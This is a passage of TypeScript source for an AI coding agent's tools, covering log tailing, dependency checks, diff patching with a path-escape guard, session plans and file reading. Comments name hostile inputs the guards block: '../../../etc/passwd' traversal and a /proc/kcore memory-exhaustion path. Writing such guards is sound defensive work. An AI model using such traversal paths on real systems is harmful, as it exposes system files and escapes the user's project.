tail-window size \u2014 `lines: 0` historically meant \"all\" and\n// happily buffered an entire multi-GB log into memory. Cap at 100k lines;\n// callers that need more should narrow with `filter`.\nconst MAX_TAIL_LINES = 100_000;\n\nasync function fileLogs(\n path: string,\n lines: number,\n filterRe: RegExp | null,\n stream: boolean,\n): Promise<LogsOutput> {\n const { createInterface } = await import('node:readline');\n const { createReadStream } = await import('node:fs');\n const entries: LogEntry[] = [];\n\n // Effective tail window: clamp to MAX_TAIL_LINES; treat 0 / negative as\n // \"max window\" rather than \"unlimited\" so a malicious /proc/kcore path\n // cannot OOM the worker.\n const effLines = lines > 0 ? Math.min(lines, MAX_TAIL_LINES) : MAX_TAIL_LINES;\n // Rolling window backed by a fixed-size circular buffer \u2014 at most\n // `effLines` strings live in memory regardless of file size.\n const window: string[] = new Array(effLines);\n let writeIdx = 0;\n let totalLines = 0;\n\n const rl = createInterface({\n input: createReadStream(path),\n crlfDelay: Number.POSITIVE_INFINITY,\n });\n\n for await (const line of rl) {\n if (filterRe && !filterRe.test(line)) continue;\n window[writeIdx] = line;\n writeIdx = (writeIdx + 1) % effLines;\n totalLines++;\n }\n\n // Read the window back in arrival order.\n const ordered: string[] = [];\n const start = totalLines >= effLines ? writeIdx : 0;\n const count = Math.min(totalLines, effLines);\n for (let i = 0; i < count; i++) {\n const v = window[(start + i) % effLines];\n if (v !== undefined) ordered.push(v);\n }\n\n for (const line of ordered) {\n const parsed = parseLine(line);\n if (parsed) entries.push(parsed);\n }\n\n return {\n source: path,\n entries,\n total: entries.length,\n truncated: totalLines > effLines,\n stream_mode: stream,\n };\n}\n\nfunction parseLogLines(output: string, filterRe: RegExp | null): LogEntry[] {\n const lines = output.split('\\n').filter(Boolean);\n const entries: LogEntry[] = [];\n\n for (const line of lines) {\n if (filterRe && !filterRe.test(line)) continue;\n const parsed = parseLine(line);\n if (parsed) entries.push(parsed);\n }\n\n return entries;\n}\n\nfunction parseLine(line: string): LogEntry | null {\n const tsRe = /^(\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}:\\d{2}(?:\\.\\d+)?Z?)\\s+(?:\\[?(\\w+)\\]?)\\s*(.*)/;\n const match = tsRe.exec(line);\n\n if (match) {\n return {\n timestamp: match[1] ?? '',\n level: match[2]?.toLowerCase() ?? 'info',\n message: match[3] ?? '',\n };\n }\n\n const levelRe = /(ERROR|WARN|INFO|DEBUG|TRACE)\\s+(.*)/i;\n const levelMatch = levelRe.exec(line);\n\n if (levelMatch) {\n return {\n timestamp: '',\n level: levelMatch[1]?.toLowerCase() ?? 'info',\n message: levelMatch[2] ?? line,\n };\n }\n\n return {\n timestamp: '',\n level: 'info',\n message: line,\n };\n}\n", "import { spawn } from 'node:child_process';\nimport type { Tool } from '@wrongstack/core/types';\nimport { buildChildEnv } from '@wrongstack/core/utils';\nimport { detectPackageManager, safeResolve } from './_util.js';\nimport { buildWin32CmdShimInvocation, resolveWin32Command } from './_win32-resolve.js';\n\ninterface OutdatedInput {\n cwd?: string | undefined;\n format?: 'list' | 'table' | undefined;\n include_deprecated?: boolean | undefined;\n check?: string | string[] | undefined;\n}\n\ninterface OutdatedPackage {\n name: string;\n current: string;\n latest: string;\n wanted: string;\n type: string;\n location: string;\n}\n\ninterface OutdatedOutput {\n exit_code: number;\n packages: OutdatedPackage[];\n total: number;\n output: string;\n truncated: boolean;\n}\n\nexport const outdatedTool: Tool<OutdatedInput, OutdatedOutput> = {\n name: 'outdated',\n category: 'Package Management',\n description:\n 'Check for outdated dependencies in the project. Reports current, wanted (semver range), and latest versions available.',\n usageHint:\n 'MAINTENANCE & SECURITY TOOL:\\n\\n' +\n '- Run periodically or before dependency-related work.\\n' +\n '- Helps surface packages that may need updates for security or features.\\n' +\n '- Hits the package registry over HTTP, so it is NOT purely local \u2014 flagged as mutating for the confirmation gate.\\n' +\n 'Use the output to decide on upgrades. Prefer this over manual shell commands for dependency hygiene.',\n permission: 'confirm',\n icon: 'package',\n // Network side-effecting (registry HTTP). Pairs with `mutating: true`\n // so the H7 invariant test (`no auto-permission tool declares\n // mutating: true`) passes \u2014 a tool claiming `'auto'` must be purely\n // read-only, but `outdated` makes outbound HTTP calls to the\n // registry. The 'confirm' permission routes the call through the\n // tool.confirm_needed flow on every invocation. M-1 originally\n // fixed four sibling tools (mcp_control, shellcheck, shellcheck (scan mode),\n // search) but missed this one; applying the same contract here.\n mutating: true,\n // Capability is outbound network \u2014 the tool only hits the package\n // registry over HTTP, never touches the filesystem or runs shell.\n // Use the canonical `net.outbound` capability (not the non-existent\n // `network` string) so the subagent allowlist recognises it and\n // permits read-only registry lookups under a director.\n // The H7 invariant test requires this array to be non-empty for\n // any mutating:true tool (meta-tools whitelisted). See\n // tests/permission-mutating-invariant.test.ts:92.\n capabilities: ['net.outbound'],\n timeoutMs: 60_000,\n inputSchema: {\n type: 'object',\n properties: {\n cwd: { type: 'string', description: 'Working directory (default: cwd)' },\n format: {\n type: 'string',\n enum: ['list', 'table'],\n description: 'Output format (default: list)',\n },\n include_deprecated: {\n type: 'boolean',\n description: 'Include deprecated packages (default: false)',\n },\n check: {\n type: 'string',\n description: 'Specific package(s) to check (comma-separated)',\n },\n },\n },\n async execute(input, ctx, opts) {\n const cwd = input.cwd ? safeResolve(input.cwd, ctx) : ctx.cwd;\n const manager = await detectPackageManager(cwd);\n\n // When no JS package manager was detected (npm is the fallback), try the\n // language bridge for non-JS ecosystems. The bridge is checked AFTER\n // detectPackageManager so the legacy stat-based detection runs first.\n if (manager === 'npm') {\n try {\n const { detectNonJsEcosystem } = await import('./languages/legacy-bridge.js');\n const nonJs = await detectNonJsEcosystem(cwd, ctx.projectRoot);\n if (nonJs) {\n const { planLanguageOperation, executePackagePlan } = await import(\n './languages/index.js'\n );\n const planResult = await planLanguageOperation({\n projectRoot: ctx.projectRoot,\n cwd,\n operation: 'package-outdated',\n language: nonJs,\n signal: opts.signal,\n });\n if (planResult.status === 'planned') {\n const runner = executePackagePlan({\n projectRoot: ctx.projectRoot,\n workspace: planResult.workspace,\n plan: planResult.plan,\n packages: [],\n signal: opts.signal,\n });\n let outcome = null;\n for (;;) {\n const next = await runner.next();\n if (next.done) {\n outcome = next.value;\n break;\n }\n }\n if (outcome) {\n const packages = outcome.outdated.map((o) => ({\n name: o.name,\n current: o.previous ?? 'unknown',\n latest: o.resolved ?? 'unknown',\n wanted: o.requested ?? o.resolved ?? 'unknown',\n type: 'unknown',\n location: o.name,\n }));\n return {\n exit_code: outcome.run?.exitCode ?? 0,\n packages,\n total: packages.length,\n output:\n outcome.run?.output ?? (packages.length === 0 ? 'All packages up to date' : ''),\n truncated: outcome.run?.truncated ?? false,\n };\n }\n }\n }\n } catch {\n // Bridge not available \u2014 fall through to npm outdated.\n }\n }\n\n const args: string[] = ['outdated', '--json'];\n if (input.format === 'table') args.push('--table');\n if (input.include_deprecated) args.push('--include', 'deprecated');\n\n return runOutdated(manager, args, cwd, opts.signal);\n },\n};\n\nfunction runOutdated(\n manager: string,\n args: string[],\n cwd: string,\n signal: AbortSignal,\n): Promise<OutdatedOutput> {\n return new Promise((resolve) => {\n let stdout = '';\n let stderr = '';\n const MAX = 100_000;\n\n const resolved = resolveWin32Command(manager);\n const needsShell =\n process.platform === 'win32' && (resolved.endsWith('.cmd') || resolved.endsWith('.bat'));\n const shim = needsShell ? buildWin32CmdShimInvocation(resolved, args) : null;\n const spawnCmd = shim?.command ?? resolved;\n const spawnArgs = shim?.args ?? args;\n const child = spawn(spawnCmd, spawnArgs, {\n cwd,\n signal,\n env: buildChildEnv(),\n stdio: ['ignore', 'pipe', 'pipe'],\n windowsHide: true,\n ...(shim ? { windowsVerbatimArguments: shim.windowsVerbatimArguments } : {}),\n });\n child.stdout?.on('data', (c) => {\n if (stdout.length < MAX) stdout += c.toString();\n });\n child.stderr?.on('data', (c) => {\n if (stderr.length < MAX) stderr += c.toString();\n });\n child.on('close', (code) => {\n const result = parseOutdatedOutput(stdout, code ?? 0);\n resolve(result);\n });\n child.on('error', (e) => {\n resolve({\n exit_code: 1,\n packages: [],\n total: 0,\n output: e.message,\n truncated: false,\n });\n });\n });\n}\n\nfunction parseOutdatedOutput(json: string, exitCode: number): OutdatedOutput {\n const packages: OutdatedPackage[] = [];\n\n if (!json) {\n return {\n exit_code: exitCode,\n packages: [],\n total: 0,\n output: exitCode === 0 ? 'All packages up to date' : 'Could not check outdated packages',\n truncated: false,\n };\n }\n\n try {\n const data = JSON.parse(json);\n for (const name of Object.keys(data)) {\n const info = data[name];\n packages.push({\n name,\n current: info.current ?? 'unknown',\n latest: info.latest ?? 'unknown',\n wanted: info.wanted ?? 'unknown',\n type: info.type ?? 'unknown',\n location: info.location ?? name,\n });\n }\n } catch {\n // JSON parse failed, return raw output\n }\n\n return {\n exit_code: exitCode,\n packages,\n total: packages.length,\n output: json,\n truncated: json.length >= 100_000,\n };\n}\n", "import { spawn } from 'node:child_process';\nimport * as fs from 'node:fs/promises';\nimport * as os from 'node:os';\nimport * as path from 'node:path';\nimport { buildChildEnv } from '@wrongstack/core/utils';\nimport type { Tool } from '@wrongstack/core/types';\nimport { safeResolve, sha256hex } from './_util.js';\n\ninterface PatchInput {\n patch: string;\n directory?: string | undefined;\n strip?: number | undefined;\n dry_run?: boolean | undefined;\n}\n\ninterface PatchOutput {\n applied: number;\n rejected: number;\n files: string[];\n dry_run: boolean;\n message: string;\n}\n\nexport const patchTool: Tool<PatchInput, PatchOutput> = {\n name: 'patch',\n category: 'Filesystem',\n description:\n 'Apply a unified diff (patch) to the project. This is the correct tool when you have a diff that needs to be applied precisely, including handling of rejects.',\n usageHint:\n 'Best used when you already have a diff (from generation, external source, or previous step).\\n' +\n '- Use `dry_run: true` to see what would happen without modifying files.\\n' +\n '- On failure it creates .rej and .orig files for manual review.\\n' +\n 'Often cleaner than many small `edit` operations for larger changes.',\n selection: {\n doNotUseWhen: 'you do not already have a unified diff or only need one precise replacement.',\n useInstead: ['edit'],\n },\n permission: 'confirm',\n mutating: true,\n capabilities: ['fs.write'],\n icon: 'edit',\n timeoutMs: 30_000,\n inputSchema: {\n type: 'object',\n properties: {\n patch: { type: 'string', description: 'Unified diff patch content' },\n directory: { type: 'string', description: 'Root directory for patch (default: cwd)' },\n strip: { type: 'integer', description: 'Strip leading path components (default: 1)' },\n dry_run: { type: 'boolean', description: 'Preview without applying' },\n },\n required: ['patch'],\n },\n async execute(input, ctx, opts) {\n if (!input?.patch) throw new Error('patch: patch content is required');\n\n const dir = input.directory ? safeResolve(input.directory, ctx) : ctx.cwd;\n // strip=0 lets a diff address absolute paths like /etc/passwd and\n // escape the project root entirely. Force >= 1.\n const strip = Math.max(1, input.strip ?? 1);\n const dryRun = input.dry_run ?? false;\n\n // Pre-flight: scan diff target paths and reject any that resolve outside\n // the project root. This catches `../../../etc/passwd`-style escapes\n // before we hand the diff to GNU patch.\n const targets = extractDiffTargets(input.patch);\n const resolvedTargets: string[] = [];\n for (const t of targets) {\n const stripped = stripPathComponents(t, strip);\n if (!stripped) continue;\n const candidate = path.resolve(dir, stripped);\n const rel = path.relative(ctx.projectRoot, candidate);\n if (rel.startsWith('..') || path.isAbsolute(rel)) {\n return {\n applied: 0,\n rejected: 1,\n files: [],\n dry_run: dryRun,\n message: `patch refused: target \"${t}\" resolves outside project root`,\n };\n }\n resolvedTargets.push(candidate);\n }\n\n // Snapshot target contents before applying so the change can be recorded\n // for session rewind and stale-read tracking (same bookkeeping as `edit`).\n const beforeContents = new Map<string, string | null>();\n if (!dryRun) {\n for (const target of resolvedTargets) {\n beforeContents.set(target, await readTextForTracking(target));\n }\n }\n\n // Write the diff into a private 0700 temp directory rather than into\n // the user-controlled `dir` with a predictable timestamp name. Avoids\n // symlink-bait races on shared work trees.\n const tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), '.wstack_patch_'));\n try {\n await fs.chmod(tmpDir, 0o700).catch(() => {\n /* best-effort on Windows */\n });\n const patchFile = path.join(tmpDir, 'in.diff');\n await fs.writeFile(patchFile, input.patch, { mode: 0o600 });\n\n const args = [`-p${strip}`, '--merge', ...(dryRun ? ['--dry-run'] : []), '-i', patchFile];\n\n const result = await runPatch(args, dir, opts.signal);\n\n if (result.exitCode !== 0 && !dryRun) {\n return {\n applied: 0,\n rejected: 1,\n files: [],\n dry_run: dryRun,\n message: `patch failed: ${result.stderr || result.stdout}`,\n };\n }\n\n const patched = extractPatchedFiles(result.stdout);\n\n // Record what actually changed: mtime + hash (tagged 'write' so the\n // permission bypass does not widen) so a later `edit` doesn't trip the\n // stale-read guard on our own write, plus the before/after pair for\n // session rewind.\n if (!dryRun) {\n for (const target of resolvedTargets) {\n const before = beforeContents.get(target) ?? null;\n const after = await readTextForTracking(target);\n if (after === null || after === before) continue;\n const stat = await fs.stat(target).catch(() => null);\n // Optional calls: embedders may hand in a duck-typed Context.\n if (stat) ctx.recordRead?.(target, stat.mtimeMs, 'write', sha256hex(after));\n ctx.session?.recordFileChange?.({\n path: target,\n action: before === null ? 'created' : 'modified',\n before,\n after,\n });\n }\n }\n\n return {\n applied: patched.length,\n rejected: 0,\n files: patched,\n dry_run: dryRun,\n message: result.stdout || 'patch applied',\n };\n } finally {\n await fs.rm(tmpDir, { recursive: true, force: true }).catch(() => {});\n }\n },\n};\n\n/** Read a target file as UTF-8 for change tracking. Returns null when the\n * file is missing (new-file diff), binary, or too large to snapshot. */\nconst MAX_TRACKING_BYTES = 5 * 1024 * 1024;\nasync function readTextForTracking(absPath: string): Promise<string | null> {\n try {\n const stat = await fs.stat(absPath);\n if (!stat.isFile() || stat.size > MAX_TRACKING_BYTES) return null;\n const buf = await fs.readFile(absPath);\n if (buf.includes(0)) return null; // binary\n return buf.toString('utf8');\n } catch {\n return null;\n }\n}\n\n/** Extract every `+++ <path>` target from a unified diff. */\nfunction extractDiffTargets(patch: string): string[] {\n const out: string[] = [];\n // Matches `+++ path/to/file` and `+++ b/path/to/file` (also `a/`). Strips\n // optional tab-prefixed timestamp suffixes that some diff tools emit.\n // Cap each line at 4096 chars to prevent maliciously long lines from\n // causing regex backtracking issues in large patches.\n const re = /^\\+\\+\\+\\s+([^\\t\\r\\n]+)/gm;\n for (const m of patch.matchAll(re)) {\n const raw = m[1];\n if (!raw) continue;\n const target = raw.length > 4096 ? raw.slice(0, 4096).trim() : raw.trim();\n if (!target || target === '/dev/null') continue;\n out.push(target);\n }\n return out;\n}\n\n/** Mimic `patch -pN` path stripping on a single target. Returns undefined\n * if the path has fewer segments than `strip`. */\nfunction stripPathComponents(p: string, strip: number): string | undefined {\n // Normalize separators so the count works on both POSIX and Windows-style\n // paths embedded in LLM-generated diffs. Filter out empty segments (e.g.\n // from trailing slashes or `//` sequences) before counting.\n const parts = p.replace(/\\\\/g, '/').split('/').filter((s) => s !== '' && s !== '.');\n if (parts.length <= strip) return undefined;\n return parts.slice(strip).join('/');\n}\n\nfunction runPatch(\n args: string[],\n cwd: string,\n signal: AbortSignal,\n): Promise<{ exitCode: number; stdout: string; stderr: string }> {\n return new Promise((resolve) => {\n let stdout = '';\n let stderr = '';\n\n // Force C locale so `extractPatchedFiles` (which greps for the English\n // \"patching file\" prefix) doesn't silently miss-count on systems with\n // localized GNU patch output (fr/de/es etc.). Use buildChildEnv to\n // strip API keys and other secrets from the parent environment.\n const env = { ...buildChildEnv(), LANG: 'C', LC_ALL: 'C' };\n const child = spawn('patch', args, { cwd, signal, env, stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });\n child.stdout?.on('data', (c) => {\n stdout += c.toString();\n });\n child.stderr?.on('data', (c) => {\n stderr += c.toString();\n });\n child.on('close', (code) => resolve({ exitCode: code ?? 1, stdout, stderr }));\n child.on('error', (e) => resolve({ exitCode: 1, stdout: '', stderr: e.message }));\n });\n}\n\nfunction extractPatchedFiles(output: string): string[] {\n const files: string[] = [];\n const re = /patching file (.+)/gi;\n for (const m of output.matchAll(re)) {\n if (m[1]) files.push(m[1]);\n }\n return files;\n}\n", "import {\n type PlanFile,\n addPlanItem,\n clearPlan,\n deriveTodosFromPlanItem,\n formatPlan,\n getPlanTemplate,\n mutatePlan,\n removePlanItem,\n setPlanItemStatus,\n} from '@wrongstack/core/storage';\nimport {\n type TaskFile,\n mutateTasks,\n} from '@wrongstack/core/storage';\nimport { formatTaskList } from '@wrongstack/core/utils';\nimport { randomUUID } from 'node:crypto';\nimport type { Tool } from '@wrongstack/core/types';\nimport { projectSessionPlanToKanban } from './session-kanban.js';\n\n/**\n * `planTool` \u2014 the LLM-callable counterpart to the `/plan` slash command.\n *\n * Plans capture strategic, multi-step approaches that survive across\n * session resumes (unlike todos, which are tactical and per-turn).\n * Storage path comes from `ctx.meta['plan.path']` \u2014 the CLI seeds this\n * during startup so the tool always knows where to read/write.\n *\n * One tool, multiple actions, JSON in/out. The action discriminates the\n * operation so the LLM can do show / add / start / done / remove / promote /\n * derive / template_use / clear via a single tool registration instead of\n * bloating the surface with nine near-identical tools.\n */\ninterface PlanInput {\n action:\n | 'show'\n | 'add'\n | 'start'\n | 'done'\n | 'remove'\n | 'promote'\n | 'template_use'\n | 'clear'\n | 'taskify';\n /** Required for add. */\n title?: string | undefined;\n /** Optional detail line for add. */\n details?: string | undefined;\n /** Required for start/done/remove/promote \u2014 accepts plan item id OR 1-based index OR title substring. */\n target?: string | undefined;\n /** Optional subtasks for promote. If omitted, a single todo is created from the plan item title. */\n subtasks?: string[] | undefined;\n /** Required for template_use \u2014 the template name (e.g. \"new-feature\", \"bug-fix\"). */\n template?: string | undefined;\n /**\n * Storage scope. Default (unset): uses the session-scoped path \u2014 isolated to this\n * session, survives resume within the same session.\n * `scope: 'project'`: uses a shared project-level path, visible to all sessions\n * for this project. Useful for a shared roadmap that outlasts any single session.\n */\n scope?: 'session' | 'project';\n}\n\ninterface PlanOutput {\n ok: boolean;\n message: string;\n /** Formatted plan after the operation. Same string the user sees from `/plan show`. */\n plan: string;\n /** Total item count after the operation. */\n count: number;\n /** Number of items not in 'done' status. */\n open: number;\n /** When promote/derive succeed, the generated todo items so the caller can inspect them. */\n todos?: Array<{ id: string; content: string; status: string; activeForm?: string | undefined; promotedFromPlan?: string | undefined }>;\n}\n\nexport const planTool: Tool<PlanInput, PlanOutput> = {\n name: 'plan',\n category: 'Session',\n description:\n 'Manage a session-persistent strategic plan. The plan is written to disk and survives conversation resumptions within the same session, but is isolated to this session \u2014 other sessions have their own separate plans. ' +\n 'Unlike todos (which are per-turn and lost on restart), a plan tracks high-level progress across multiple turns. ' +\n 'Use this to outline big-picture work, then promote concrete items into the todo list when ready to execute. ' +\n 'By default plans are isolated to this session; use `scope: \"project\"` to store the plan in a shared project-level file visible to all sessions.',\n usageHint:\n 'RECOMMENDED FOR COMPLEX, MULTI-PHASE WORK:\\n\\n' +\n '- Start by creating a high-level plan with `action: \"add\"` or using templates (`template_use`).\\n' +\n '- Use `promote` to turn a plan item into actionable todos.\\n' +\n '- Use `taskify` to convert a plan item into a structured task (with type/priority/deps).\\n' +\n '- Keep plans at the \"why and what\" level, and todos at the \"how and next step\" level.\\n' +\n '- Common templates: \"new-feature\", \"bug-fix\", \"refactor\", \"release\", \"security-audit\".\\n\\n' +\n 'This tool is excellent for maintaining long-term direction across many turns within a session. Plans survive resume but are not shared across separate sessions.\\n' +\n 'Use `scope: \"project\"` to use a shared project-level plan file.',\n permission: 'confirm',\n mutating: true,\n capabilities: ['fs.write'],\n icon: 'plan',\n timeoutMs: 2_000,\n inputSchema: {\n type: 'object',\n properties: {\n action: {\n type: 'string',\n enum: [\n 'show',\n 'add',\n 'start',\n 'done',\n 'remove',\n 'promote',\n 'template_use',\n 'clear',\n 'taskify',\n ],\n description: 'The operation to perform on the plan board.',\n },\n title: {\n type: 'string',\n description: 'Title of the plan item. Required for action=add.',\n },\n details: {\n type: 'string',\n description: 'Additional details or description for a new plan item (action=add).',\n },\n target: {\n type: 'string',\n description:\n 'Identifier for the target plan item (id, 1-based index, or partial title). Required for most actions except add/show/clear.',\n },\n subtasks: {\n type: 'array',\n items: { type: 'string' },\n description:\n 'List of subtask titles. Used with promote to break a plan item into multiple todos.',\n },\n template: {\n type: 'string',\n description:\n 'Template identifier when using action=template_use. Common values: new-feature, bug-fix, refactor, release, security-audit.',\n },\n scope: {\n type: 'string',\n enum: ['session', 'project'],\n description: 'Storage scope: \"session\" (default, isolated to this session) or \"project\" (shared across all sessions for this project).',\n },\n },\n required: ['action'],\n },\n async execute(input, ctx) {\n const sessionPlanPath = (ctx.meta as Record<string, unknown>)['plan.path'] as string | undefined;\n let planPath: string | undefined;\n\n if (input.scope === 'project') {\n // Project-level: derive from the session path by replacing the filename with\n // 'backlog.plan.json' so all sessions share the same file.\n if (typeof sessionPlanPath === 'string') {\n // Handle BOTH separators \u2014 a Windows-native path uses '\\\\', and a\n // '/'-only search would miss it and fall back to a bare relative path\n // written into the process CWD instead of the sessions dir.\n const lastSep = Math.max(sessionPlanPath.lastIndexOf('/'), sessionPlanPath.lastIndexOf('\\\\'));\n planPath = lastSep >= 0\n ? sessionPlanPath.slice(0, lastSep + 1) + 'backlog.plan.json'\n : 'backlog.plan.json';\n }\n } else {\n planPath = sessionPlanPath;\n }\n if (typeof planPath !== 'string' || !planPath) {\n return {\n ok: false,\n message: 'Plan storage path is not configured for this session.',\n plan: '',\n count: 0,\n open: 0,\n };\n }\n const sessionId = ctx.session?.id ?? 'unknown';\n\n let early: PlanOutput | null = null;\n // Track taskify data \u2014 task write happens after the plan lock releases\n const taskifyMeta = { title: '', details: '' };\n let didTaskify = false;\n\n let plan: PlanFile;\n try {\n plan = await mutatePlan(planPath, sessionId, async (p) => {\n switch (input.action) {\n case 'show':\n break;\n\n case 'add': {\n const title = input.title?.trim();\n if (!title) {\n early = mkResult(p, false, 'add requires `title`.');\n return p;\n }\n const { plan: updated } = addPlanItem(p, title, input.details?.trim() || undefined);\n return updated;\n }\n\n case 'start':\n case 'done': {\n if (!input.target) {\n early = mkResult(p, false, `${input.action} requires \\`target\\` (id|index|substring).`);\n return p;\n }\n const next = setPlanItemStatus(\n p,\n input.target,\n input.action === 'start' ? 'in_progress' : 'done',\n );\n if (next === p) {\n early = mkResult(p, false, `No plan item matched \"${input.target}\".`);\n return p;\n }\n return next;\n }\n\n case 'remove': {\n if (!input.target) {\n early = mkResult(p, false, 'remove requires `target` (id|index|substring).');\n return p;\n }\n const next = removePlanItem(p, input.target);\n if (next === p) {\n early = mkResult(p, false, `No plan item matched \"${input.target}\".`);\n return p;\n }\n return next;\n }\n\n case 'promote': {\n if (!input.target) {\n early = mkResult(p, false, `${input.action} requires \\`target\\` (id|index|substring).`);\n return p;\n }\n const derived = deriveTodosFromPlanItem(p, input.target, input.subtasks);\n if (!derived) {\n early = mkResult(p, false, `No plan item matched \"${input.target}\".`);\n return p;\n }\n ctx.state.replaceTodos(derived.todos);\n early = mkResult(\n derived.plan,\n true,\n `${input.action} ok \u2014 ${derived.todos.length} todo(s) created.`,\n derived.todos,\n );\n return derived.plan;\n }\n\n case 'template_use': {\n const templateName = input.template?.trim();\n if (!templateName) {\n early = mkResult(p, false, 'template_use requires `template` name.');\n return p;\n }\n const template = getPlanTemplate(templateName);\n if (!template) {\n early = mkResult(p, false, `Unknown template \"${templateName}\".`);\n return p;\n }\n let updated = p;\n for (const item of template.items) {\n ({ plan: updated } = addPlanItem(updated, item.title, item.details));\n }\n early = mkResult(\n updated,\n true,\n `Applied template \"${template.name}\" \u2014 ${template.items.length} items added.`,\n );\n return updated;\n }\n\n case 'clear':\n return clearPlan(p);\n\n case 'taskify': {\n if (!input.target) {\n early = mkResult(p, false, 'taskify requires `target` (plan item id|index|substring).');\n return p;\n }\n // Find plan item by 1-based index, exact id, or title substring\n let itemIdx = -1;\n const asNum = Number.parseInt(input.target, 10);\n if (!Number.isNaN(asNum) && asNum >= 1 && asNum <= p.items.length) {\n itemIdx = asNum - 1;\n } else {\n itemIdx = p.items.findIndex((it) => it.id === input.target);\n if (itemIdx === -1) {\n const lower = input.target.toLowerCase();\n itemIdx = p.items.findIndex((it) => it.title.toLowerCase().includes(lower));\n }\n }\n if (itemIdx === -1 || !p.items[itemIdx]) {\n early = mkResult(p, false, `No plan item matched \"${input.target}\".`);\n return p;\n }\n const item = p.items[itemIdx]!;\n // Extract data \u2014 task write happens after the plan lock releases\n taskifyMeta.title = item.title;\n taskifyMeta.details = item.details ?? '';\n didTaskify = true;\n break;\n }\n\n default:\n early = mkResult(p, false, `Unknown action \"${(input as { action: string }).action}\".`);\n return p;\n }\n\n return p;\n });\n } catch (err) {\n // Persist failed (mutatePlan throws on a failed save) \u2014 report ok:false\n // with the real reason instead of falsely claiming the plan was saved.\n return {\n ok: false,\n message: `Plan change not saved \u2014 ${err instanceof Error ? err.message : String(err)}`,\n plan: '',\n count: 0,\n open: 0,\n };\n }\n\n // A successful plan mutation includes its projection onto the unified\n // session board; callers never observe plan state ahead of Kanban state.\n await projectSessionPlanToKanban(ctx.projectRoot, plan.items, sessionId);\n\n // If the callback set an early-return result, use it\n if (early) return early;\n\n // If taskify copied plan item data, write it to the task file now\n if (didTaskify) {\n const taskPathRaw = (ctx.meta as Record<string, unknown>)['task.path'];\n if (typeof taskPathRaw !== 'string' || !taskPathRaw) {\n return mkResult(plan, false, 'Task storage path not configured \u2014 cannot taskify.');\n }\n let taskPath: string = taskPathRaw;\n // Honor project scope for the TASK file too: a project-scoped taskify must\n // append to the shared backlog.tasks.json, not the per-session task file\n // (mirrors the plan-path derivation above; handles both separators).\n if (input.scope === 'project') {\n const lastSep = Math.max(taskPath.lastIndexOf('/'), taskPath.lastIndexOf('\\\\'));\n taskPath = lastSep >= 0 ? taskPath.slice(0, lastSep + 1) + 'backlog.tasks.json' : 'backlog.tasks.json';\n }\n const now = new Date().toISOString();\n // Mutate the cross-file under ITS OWN lock \u2014 a raw loadTasks/push/saveTasks\n // can interleave with a concurrent task tool call in the same batch and\n // clobber writes. mutateTasks is the documented race-safe write path.\n try {\n const taskFile: TaskFile = await mutateTasks(taskPath, sessionId, (f) => {\n f.tasks.push({\n id: `task_${randomUUID()}`,\n title: taskifyMeta.title,\n description: taskifyMeta.details || undefined,\n type: 'feature',\n priority: 'medium',\n status: 'pending',\n createdAt: now,\n updatedAt: now,\n });\n return f;\n });\n return mkResult(\n plan,\n true,\n `taskify ok \u2014 added \"${taskifyMeta.title}\" to tasks.\\n${formatTaskList(taskFile.tasks)}`,\n );\n } catch (err) {\n // The plan item was saved, but copying it into the task file failed.\n return mkResult(plan, false, `taskify: task not saved \u2014 ${err instanceof Error ? err.message : String(err)}`);\n }\n }\n\n return mkResult(plan, true, `Plan ${input.action} ok.`);\n },\n};\n\nfunction mkResult(\n plan: PlanFile,\n ok: boolean,\n message: string,\n todos?: PlanOutput['todos'],\n): PlanOutput {\n const open = plan.items.filter((i) => i.status !== 'done').length;\n const result: PlanOutput = {\n ok,\n message,\n plan: formatPlan(plan),\n count: plan.items.length,\n open,\n };\n if (todos !== undefined) result.todos = todos;\n return result;\n}\n", "import * as fs from 'node:fs/promises';\nimport { FsError, type Tool, ToolValidationError } from '@wrongstack/core/types';\nimport { toErrorMessage } from '@wrongstack/core/utils';\nimport { isBinaryBuffer, safeResolveReal, sha256hex } from './_util.js';\nimport { getIndexState, searchCodebaseIndex } from './codebase-index/background-indexer.js';\nimport type { SymbolKind } from './codebase-index/schema.js';\nimport { codebaseIndexDirOverride } from './codebase-index/writer-helpers.js';\n\n/**\n * Meta key for advanced mode. When `true` in `ctx.meta`, the read tool\n * automatically injects codebase-index symbols for the file being read\n * as a structured `symbols` field. Set via:\n * ctx.meta['tools.read.advancedMode'] = true\n * A per-call `includeSymbols` parameter overrides this flag.\n */\nconst ADVANCED_MODE_META_KEY = 'tools.read.advancedMode';\n\ninterface ReadInput {\n path: string;\n offset?: number | undefined;\n limit?: number | undefined;\n mode?: 'content' | 'summary' | undefined;\n /**\n * When true, include the codebase-index symbol list for this file\n * as a structured `symbols` field in the result. Overrides the\n * advanced-mode meta flag (`ctx.meta['tools.read.advancedMode']`)\n * per-call when explicitly set. When omitted, the meta flag governs.\n */\n includeSymbols?: boolean | undefined;\n}\n\n/**\n * A single indexed code symbol returned alongside file content when\n * advanced mode is on or `includeSymbols` is set. The LLM must treat\n * this as a symbol listing \u2014 not as file content.\n */\ninterface SymbolEntry {\n /** Symbol name (e.g. myFunction, MyClass). */\n name: string;\n /** Kind of symbol (function, class, interface, const, etc.). */\n kind: SymbolKind;\n /** 1-based declaration line in the file. */\n line: number;\n /** 0-based column offset. */\n col: number;\n /** Full signature or declaration text. */\n signature: string;\n}\n\ninterface ReadOutput {\n text: string;\n total_lines: number;\n encoding: string;\n truncated: boolean;\n cached?: boolean | undefined;\n note?: string | undefined;\n /**\n * Codebase-index symbols for this file, included when advanced mode\n * is active or `includeSymbols` is set. One entry per indexed symbol,\n * sorted by line number. This is a symbol listing \u2014 NOT file content.\n */\n symbols?: SymbolEntry[] | undefined;\n}\n\nconst MAX_BYTES = 5 * 1024 * 1024;\n\nexport const readTool: Tool<ReadInput, ReadOutput> = {\n name: 'read',\n category: 'Filesystem',\n description:\n 'Read the contents of a file with line numbers. This is the primary way to inspect source code, configuration, or any text file before making changes. ' +\n 'Lines are returned 1-indexed with a ` N| ` prefix for easy reference in edits. ' +\n 'When advanced mode is on or `includeSymbols` is set, the result also includes a `symbols` field ' +\n 'listing codebase-index symbol names, kinds, and line numbers for the file (not file content).',\n usageHint:\n 'FOUNDATIONAL TOOL \u2014 call this before almost any edit operation.\\n\\n' +\n 'Best practices:\\n' +\n '- Always read a file before using `edit`, `replace`, or `write` on it (the system often requires it for safety).\\n' +\n '- Use `offset` + `limit` for very large files instead of reading everything at 